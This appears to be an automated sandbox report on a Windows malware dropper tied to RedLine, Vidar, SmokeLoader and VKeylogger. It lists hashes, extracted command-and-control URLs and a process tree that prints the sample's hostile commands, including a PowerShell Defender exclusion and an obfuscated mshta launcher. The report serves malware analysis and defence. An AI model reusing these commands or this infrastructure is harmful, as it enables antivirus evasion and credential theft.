redline | 8303c9a626d7edb090bdd8f0d128fc887b7fa36b0dfc43a7f71dcb5b34b1bbab

Analysis

max time kernel
6s
max time network
154s
platform
windows10_x64
resource
win10-en
submitted
05-09-2021 01:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

A75FFC6AB58574119E960EC0B1F72BFD.exe
Size

3.0MB
MD5

a75ffc6ab58574119e960ec0b1f72bfd
SHA1

f7addaaf851436721919294927253726b67ce17b
SHA256

8303c9a626d7edb090bdd8f0d128fc887b7fa36b0dfc43a7f71dcb5b34b1bbab
SHA512

09520fdf40a16790b93b4ef14a0b177bd65956712d874d782c3b902f9a42869d3691aaf6d038468350b0bdc159c6cf376da94af580c4aa6f48250a7e60b99c5d

Score

10^/10

redline smokeloader vidar vkeylogger 706 aspackv2 backdoor infostealer keylogger stealer themida trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://shellloader.com/welcome

Extracted

Family

vidar

Version

40.3

Botnet

706

https://lenko349.tumblr.com/

Attributes

profile_id
706

Extracted

Family

smokeloader

Version

2020

http://varmisende.com/upload/

http://fernandomayol.com/upload/

http://nextlytm.com/upload/

http://people4jan.com/upload/

http://asfaltwerk.com/upload/

rc4.i32

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3388	4268	rundll32.exe	24

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4232-263-0x0000000002940000-0x000000000296E000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
VKeylogger
A keylogger first seen in Nov 2020.
stealer keylogger vkeylogger

VKeylogger Payload 2 IoCs

resource	yara_rule
behavioral2/memory/924-437-0x00000000001E0000-0x00000000001EE000-memory.dmp	family_vkeylogger
behavioral2/memory/924-466-0x0000000000400000-0x0000000002CBE000-memory.dmp	family_vkeylogger

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

Vidar Stealer 3 IoCs

stealer

resource	yara_rule
behavioral2/memory/3196-295-0x0000000003E90000-0x0000000003F63000-memory.dmp	family_vidar
behavioral2/memory/3196-293-0x0000000000400000-0x00000000021DA000-memory.dmp	family_vidar
behavioral2/memory/4360-470-0x0000000002D20000-0x0000000002DF3000-memory.dmp	family_vidar

ASPack v2.12-2.42 6 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral2/files/0x000300000001aa51-120.dat	aspack_v212_v242
behavioral2/files/0x000300000001aa51-122.dat	aspack_v212_v242
behavioral2/files/0x000400000001aae4-123.dat	aspack_v212_v242
behavioral2/files/0x000400000001aae6-126.dat	aspack_v212_v242
behavioral2/files/0x000400000001aae6-127.dat	aspack_v212_v242
behavioral2/files/0x000400000001aae4-119.dat	aspack_v212_v242

Downloads MZ/PE file

Executes dropped EXE 11 IoCs

pid	Process
2272	setup_install.exe
3196	Wed065721111fbde.exe
2776	Wed069ea7b9fa22d66d.exe
4608	Wed06c0310f7c9.exe
4580	Wed06bee4c0f9.exe
4612	Wed068238a49b99.exe
4588	Wed062611295f.exe
604	Wed0677c055f84f3.exe
224	Wed0660009604.exe
1144	Wed0660009604.tmp
1464	Wed069ea7b9fa22d66d.exe

Loads dropped DLL 6 IoCs

pid	Process
2272	setup_install.exe
2272	setup_install.exe
2272	setup_install.exe
2272	setup_install.exe
2272	setup_install.exe
1144	Wed0660009604.tmp

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x000400000001ab07-264.dat	themida
behavioral2/memory/3544-314-0x0000000000170000-0x0000000000171000-memory.dmp	themida
behavioral2/files/0x000400000001ab07-266.dat	themida

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 5 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
11	ip-api.com
36	ipinfo.io
37	ipinfo.io
203	ipinfo.io
204	ipinfo.io

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 38 IoCs

pid	pid_target	Process	procid_target
5232	4184	WerFault.exe	106
5244	3196	WerFault.exe	85
5728	4184	WerFault.exe	106
5780	3196	WerFault.exe	85
6020	4184	WerFault.exe	106
6068	3196	WerFault.exe	85
5224	3196	WerFault.exe	85
5384	4184	WerFault.exe	106
4676	3196	WerFault.exe	85
4552	4184	WerFault.exe	106
6012	3196	WerFault.exe	85
4448	4184	WerFault.exe	106
2300	4184	WerFault.exe	106
4700	3196	WerFault.exe	85
4532	1196	WerFault.exe	137
5124	6088	WerFault.exe	141
1028	3196	WerFault.exe	85
5892	1196	WerFault.exe	137
1040	6088	WerFault.exe	141
6280	1196	WerFault.exe	137
6664	6088	WerFault.exe	141
6248	6088	WerFault.exe	141
6460	3196	WerFault.exe	85
7008	1552	WerFault.exe	184
1700	1552	WerFault.exe	184
7412	1552	WerFault.exe	184
7848	1196	WerFault.exe	137
5648	1552	WerFault.exe	184
7392	1196	WerFault.exe	137
8488	3196	WerFault.exe	85
8916	1196	WerFault.exe	137
9112	1552	WerFault.exe	184
9148	3196	WerFault.exe	85
8300	6088	WerFault.exe	141
9204	3196	WerFault.exe	85
8208	6088	WerFault.exe	141
8452	3196	WerFault.exe	85
9096	6088	WerFault.exe	141

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
7224	schtasks.exe
8568	schtasks.exe
8220	schtasks.exe
8980	schtasks.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
8508	taskkill.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4368	powershell.exe
4368	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	604	Wed0677c055f84f3.exe
Token: SeDebugPrivilege	4608	Wed06c0310f7c9.exe
Token: SeDebugPrivilege	4368	powershell.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 4640 wrote to memory of 2272	4640	A75FFC6AB58574119E960EC0B1F72BFD.exe	75
PID 4640 wrote to memory of 2272	4640	A75FFC6AB58574119E960EC0B1F72BFD.exe	75
PID 4640 wrote to memory of 2272	4640	A75FFC6AB58574119E960EC0B1F72BFD.exe	75
PID 2272 wrote to memory of 772	2272	setup_install.exe	79
PID 2272 wrote to memory of 772	2272	setup_install.exe	79
PID 2272 wrote to memory of 772	2272	setup_install.exe	79
PID 2272 wrote to memory of 1716	2272	setup_install.exe	80
PID 2272 wrote to memory of 1716	2272	setup_install.exe	80
PID 2272 wrote to memory of 1716	2272	setup_install.exe	80
PID 2272 wrote to memory of 4384	2272	setup_install.exe	81
PID 2272 wrote to memory of 4384	2272	setup_install.exe	81
PID 2272 wrote to memory of 4384	2272	setup_install.exe	81
PID 2272 wrote to memory of 4460	2272	setup_install.exe	82
PID 2272 wrote to memory of 4460	2272	setup_install.exe	82
PID 2272 wrote to memory of 4460	2272	setup_install.exe	82
PID 2272 wrote to memory of 4372	2272	setup_install.exe	83
PID 2272 wrote to memory of 4372	2272	setup_install.exe	83
PID 2272 wrote to memory of 4372	2272	setup_install.exe	83
PID 772 wrote to memory of 4368	772	cmd.exe	88
PID 772 wrote to memory of 4368	772	cmd.exe	88
PID 772 wrote to memory of 4368	772	cmd.exe	88
PID 2272 wrote to memory of 4340	2272	setup_install.exe	84
PID 2272 wrote to memory of 4340	2272	setup_install.exe	84
PID 2272 wrote to memory of 4340	2272	setup_install.exe	84
PID 2272 wrote to memory of 4428	2272	setup_install.exe	87
PID 2272 wrote to memory of 4428	2272	setup_install.exe	87
PID 2272 wrote to memory of 4428	2272	setup_install.exe	87
PID 4372 wrote to memory of 3196	4372	cmd.exe	85
PID 4372 wrote to memory of 3196	4372	cmd.exe	85
PID 4372 wrote to memory of 3196	4372	cmd.exe	85
PID 2272 wrote to memory of 3268	2272	setup_install.exe	86
PID 2272 wrote to memory of 3268	2272	setup_install.exe	86
PID 2272 wrote to memory of 3268	2272	setup_install.exe	86
PID 2272 wrote to memory of 4536	2272	setup_install.exe	96
PID 2272 wrote to memory of 4536	2272	setup_install.exe	96
PID 2272 wrote to memory of 4536	2272	setup_install.exe	96
PID 1716 wrote to memory of 2776	1716	cmd.exe	89
PID 1716 wrote to memory of 2776	1716	cmd.exe	89
PID 1716 wrote to memory of 2776	1716	cmd.exe	89
PID 3268 wrote to memory of 4608	3268	cmd.exe	90
PID 3268 wrote to memory of 4608	3268	cmd.exe	90
PID 4460 wrote to memory of 4612	4460	cmd.exe	94
PID 4460 wrote to memory of 4612	4460	cmd.exe	94
PID 4428 wrote to memory of 4580	4428	cmd.exe	95
PID 4428 wrote to memory of 4580	4428	cmd.exe	95
PID 4428 wrote to memory of 4580	4428	cmd.exe	95
PID 4384 wrote to memory of 4588	4384	cmd.exe	93
PID 4384 wrote to memory of 4588	4384	cmd.exe	93
PID 4384 wrote to memory of 4588	4384	cmd.exe	93
PID 4536 wrote to memory of 604	4536	cmd.exe	92
PID 4536 wrote to memory of 604	4536	cmd.exe	92
PID 4340 wrote to memory of 224	4340	cmd.exe	91
PID 4340 wrote to memory of 224	4340	cmd.exe	91
PID 4340 wrote to memory of 224	4340	cmd.exe	91
PID 224 wrote to memory of 1144	224	Wed0660009604.exe	97
PID 224 wrote to memory of 1144	224	Wed0660009604.exe	97
PID 224 wrote to memory of 1144	224	Wed0660009604.exe	97
PID 2776 wrote to memory of 1464	2776	Wed069ea7b9fa22d66d.exe	98
PID 2776 wrote to memory of 1464	2776	Wed069ea7b9fa22d66d.exe	98
PID 2776 wrote to memory of 1464	2776	Wed069ea7b9fa22d66d.exe	98

C:\Users\Admin\AppData\Local\Temp\A75FFC6AB58574119E960EC0B1F72BFD.exe
"C:\Users\Admin\AppData\Local\Temp\A75FFC6AB58574119E960EC0B1F72BFD.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4640
- C:\Users\Admin\AppData\Local\Temp\7zS022FB583\setup_install.exe
  "C:\Users\Admin\AppData\Local\Temp\7zS022FB583\setup_install.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2272
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:772
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4368
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Wed069ea7b9fa22d66d.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1716
  - - C:\Users\Admin\AppData\Local\Temp\7zS022FB583\Wed069ea7b9fa22d66d.exe
      Wed069ea7b9fa22d66d.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:2776
    - - C:\Users\Admin\AppData\Local\Temp\7zS022FB583\Wed069ea7b9fa22d66d.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS022FB583\Wed069ea7b9fa22d66d.exe" -u
        5⤵
        Executes dropped EXE
        
        PID:1464
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Wed062611295f.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4384
  - - C:\Users\Admin\AppData\Local\Temp\7zS022FB583\Wed062611295f.exe
      Wed062611295f.exe
      4⤵
      Executes dropped EXE
      PID:4588
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Wed068238a49b99.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4460
  - - C:\Users\Admin\AppData\Local\Temp\7zS022FB583\Wed068238a49b99.exe
      Wed068238a49b99.exe
      4⤵
      Executes dropped EXE
      PID:4612
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Wed065721111fbde.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4372
  - - C:\Users\Admin\AppData\Local\Temp\7zS022FB583\Wed065721111fbde.exe
      Wed065721111fbde.exe
      4⤵
      Executes dropped EXE
      PID:3196
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 764
        5⤵
        Program crash
        
        PID:5244
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 788
        5⤵
        Program crash
        
        PID:5780
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 860
        5⤵
        Program crash
        
        PID:6068
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 768
        5⤵
        Program crash
        
        PID:5224
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 960
        5⤵
        Program crash
        
        PID:4676
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 988
        5⤵
        Program crash
        
        PID:6012
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 1392
        5⤵
        Program crash
        
        PID:4700
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 1480
        5⤵
        Program crash
        
        PID:1028
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 1556
        5⤵
        Program crash
        
        PID:6460
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 1680
        5⤵
        Program crash
        
        PID:8488
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 1756
        5⤵
        Program crash
        
        PID:9148
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 1796
        5⤵
        Program crash
        
        PID:9204
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 1632
        5⤵
        Program crash
        
        PID:8452
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Wed0660009604.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4340
  - - C:\Users\Admin\AppData\Local\Temp\7zS022FB583\Wed0660009604.exe
      Wed0660009604.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:224
    - - C:\Users\Admin\AppData\Local\Temp\is-2SQMV.tmp\Wed0660009604.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-2SQMV.tmp\Wed0660009604.tmp" /SL5="$20086,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS022FB583\Wed0660009604.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1144
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Wed06c0310f7c9.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3268
  - - C:\Users\Admin\AppData\Local\Temp\7zS022FB583\Wed06c0310f7c9.exe
      Wed06c0310f7c9.exe
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4608
    - - C:\Users\Admin\AppData\Roaming\1158009.exe
        
        "C:\Users\Admin\AppData\Roaming\1158009.exe"
        5⤵
        
        PID:3900
      - C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        6⤵
        
        PID:760
    - - C:\Users\Admin\AppData\Roaming\4002034.exe
        
        "C:\Users\Admin\AppData\Roaming\4002034.exe"
        5⤵
        
        PID:4232
    - - C:\Users\Admin\AppData\Roaming\3645108.exe
        
        "C:\Users\Admin\AppData\Roaming\3645108.exe"
        5⤵
        
        PID:4576
    - - C:\Users\Admin\AppData\Roaming\8661304.exe
        
        "C:\Users\Admin\AppData\Roaming\8661304.exe"
        5⤵
        
        PID:3544
    - - C:\Users\Admin\AppData\Roaming\7901879.exe
        
        "C:\Users\Admin\AppData\Roaming\7901879.exe"
        5⤵
        
        PID:1192
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Wed06bee4c0f9.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4428
  - - C:\Users\Admin\AppData\Local\Temp\7zS022FB583\Wed06bee4c0f9.exe
      Wed06bee4c0f9.exe
      4⤵
      Executes dropped EXE
      PID:4580
    - - C:\Users\Admin\Documents\W2xoXqCpLjZ7Gwi5_b92kuKc.exe
        
        "C:\Users\Admin\Documents\W2xoXqCpLjZ7Gwi5_b92kuKc.exe"
        5⤵
        
        PID:4360
    - - C:\Users\Admin\Documents\Ftg2bOvp3R4TYlCKXE6LsIU3.exe
        
        "C:\Users\Admin\Documents\Ftg2bOvp3R4TYlCKXE6LsIU3.exe"
        5⤵
        
        PID:1196
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1196 -s 660
        6⤵
        Program crash
        
        PID:4532
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1196 -s 672
        6⤵
        Program crash
        
        PID:5892
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1196 -s 708
        6⤵
        Program crash
        
        PID:6280
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1196 -s 852
        6⤵
        Program crash
        
        PID:7848
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1196 -s 1128
        6⤵
        Program crash
        
        PID:7392
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1196 -s 1120
        6⤵
        Program crash
        
        PID:8916
    - - C:\Users\Admin\Documents\MdYZXFnuwlqH2GnwN8fI_PQj.exe
        
        "C:\Users\Admin\Documents\MdYZXFnuwlqH2GnwN8fI_PQj.exe"
        5⤵
        
        PID:5620
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbScRIpt: CloSE ( CReATEobJECT ( "WscrIpt.SheLL").Run( "cmD.exe /Q /c TYPE ""C:\Users\Admin\Documents\MdYZXFnuwlqH2GnwN8fI_PQj.exe"" > X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV & if """"== """" for %A IN (""C:\Users\Admin\Documents\MdYZXFnuwlqH2GnwN8fI_PQj.exe"" ) do taskkill /f -im ""%~nxA"" " , 0, trUE ) )
        6⤵
        
        PID:600
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /c TYPE "C:\Users\Admin\Documents\MdYZXFnuwlqH2GnwN8fI_PQj.exe"> X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV &if ""== "" for %A IN ("C:\Users\Admin\Documents\MdYZXFnuwlqH2GnwN8fI_PQj.exe" ) do taskkill /f -im "%~nxA"
        7⤵
        
        PID:7500
        
        C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE
        
        X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV
        8⤵
        
        PID:9120
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbScRIpt: CloSE ( CReATEobJECT ( "WscrIpt.SheLL").Run( "cmD.exe /Q /c TYPE ""C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"" > X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV & if ""-PXPoqL0iOUHHP7hXFattB5ZvsV ""== """" for %A IN (""C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"" ) do taskkill /f -im ""%~nxA"" " , 0, trUE ) )
        9⤵
        
        PID:8080
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /c TYPE "C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"> X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV &if "-PXPoqL0iOUHHP7hXFattB5ZvsV "== "" for %A IN ("C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE" ) do taskkill /f -im "%~nxA"
        10⤵
        
        PID:8340
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f -im "MdYZXFnuwlqH2GnwN8fI_PQj.exe"
        8⤵
        Kills process with taskkill
        
        PID:8508
    - - C:\Users\Admin\Documents\JZR1VjpZLuw6ycYRRnELJBjC.exe
        
        "C:\Users\Admin\Documents\JZR1VjpZLuw6ycYRRnELJBjC.exe"
        5⤵
        
        PID:5772
      - C:\Users\Admin\Documents\JZR1VjpZLuw6ycYRRnELJBjC.exe
        
        "C:\Users\Admin\Documents\JZR1VjpZLuw6ycYRRnELJBjC.exe"
        6⤵
        
        PID:6228
    - - C:\Users\Admin\Documents\XeesWuo0V7w3ZrzBMogwPk7G.exe
        
        "C:\Users\Admin\Documents\XeesWuo0V7w3ZrzBMogwPk7G.exe"
        5⤵
        
        PID:6088
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6088 -s 660
        6⤵
        Program crash
        
        PID:5124
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6088 -s 680
        6⤵
        Program crash
        
        PID:1040
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6088 -s 636
        6⤵
        Program crash
        
        PID:6664
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6088 -s 656
        6⤵
        Program crash
        
        PID:6248
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6088 -s 1124
        6⤵
        Program crash
        
        PID:8300
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6088 -s 1112
        6⤵
        Program crash
        
        PID:8208
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6088 -s 1216
        6⤵
        Program crash
        
        PID:9096
    - - C:\Users\Admin\Documents\Q86R8noGX3Wq9jQKt7odgNqv.exe
        
        "C:\Users\Admin\Documents\Q86R8noGX3Wq9jQKt7odgNqv.exe"
        5⤵
        
        PID:5736
      - C:\Program Files (x86)\Company\NewProduct\inst001.exe
        
        "C:\Program Files (x86)\Company\NewProduct\inst001.exe"
        6⤵
        
        PID:6420
      - C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
        
        "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
        6⤵
        
        PID:6492
      - C:\Program Files (x86)\Company\NewProduct\cutm3.exe
        
        "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
        6⤵
        
        PID:6536
    - - C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        
        "C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe"
        5⤵
        
        PID:5808
      - C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        
        C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        6⤵
        
        PID:6116
      - C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        
        C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        6⤵
        
        PID:4028
      - C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        
        C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        6⤵
        
        PID:6576
      - C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        
        C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        6⤵
        
        PID:7080
      - C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        
        C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        6⤵
        
        PID:5400
      - C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        
        C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        6⤵
        
        PID:6580
      - C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        
        C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        6⤵
        
        PID:1772
      - C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        
        C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        6⤵
        
        PID:7520
      - C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        
        C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        6⤵
        
        PID:5216
      - C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        
        C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        6⤵
        
        PID:7656
      - C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        
        C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        6⤵
        
        PID:8772
      - C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        
        C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        6⤵
        
        PID:5856
      - C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        
        C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        6⤵
        
        PID:8996
      - C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        
        C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        6⤵
        
        PID:8500
      - C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        
        C:\Users\Admin\Documents\fymK0iI2baiHucBKjMCDv_tQ.exe
        6⤵
        
        PID:8532
    - - C:\Users\Admin\Documents\M4DkjPvtzLc6ASG6syMcWp_w.exe
        
        "C:\Users\Admin\Documents\M4DkjPvtzLc6ASG6syMcWp_w.exe"
        5⤵
        
        PID:5704
      - C:\Users\Admin\AppData\Local\Temp\RarSFX0\DPRwKy.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\DPRwKy.exe"
        6⤵
        
        PID:5136
    - - C:\Users\Admin\Documents\8m1QzhPHpcYWOpaHLJmKJcWG.exe
        
        "C:\Users\Admin\Documents\8m1QzhPHpcYWOpaHLJmKJcWG.exe"
        5⤵
        
        PID:5776
    - - C:\Users\Admin\Documents\fmJSM6WzTdsu7b9yu33k_SK0.exe
        
        "C:\Users\Admin\Documents\fmJSM6WzTdsu7b9yu33k_SK0.exe"
        5⤵
        
        PID:3316
    - - C:\Users\Admin\Documents\K30W3lXExajABd07YdN5Ezej.exe
        
        "C:\Users\Admin\Documents\K30W3lXExajABd07YdN5Ezej.exe"
        5⤵
        
        PID:924
      - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        6⤵
        
        PID:5212
    - - C:\Users\Admin\Documents\c8P8eDJEgree8cYP5IX9jFjR.exe
        
        "C:\Users\Admin\Documents\c8P8eDJEgree8cYP5IX9jFjR.exe"
        5⤵
        
        PID:6068
    - - C:\Users\Admin\Documents\O1Ap6H6UgMWCBWnIyJmHSQ1K.exe
        
        "C:\Users\Admin\Documents\O1Ap6H6UgMWCBWnIyJmHSQ1K.exe"
        5⤵
        
        PID:2172
    - - C:\Users\Admin\Documents\1g0g0HoK4LmlxaWkYs39P3Nf.exe
        
        "C:\Users\Admin\Documents\1g0g0HoK4LmlxaWkYs39P3Nf.exe"
        5⤵
        
        PID:1544
    - - C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        
        "C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe"
        5⤵
        
        PID:3268
      - C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        
        C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        6⤵
        
        PID:4676
      - C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        
        C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        6⤵
        
        PID:2860
      - C:\Users\Admin\Documents\z00IBSbpXzzG3LIIiO2XAxR6.exe
        
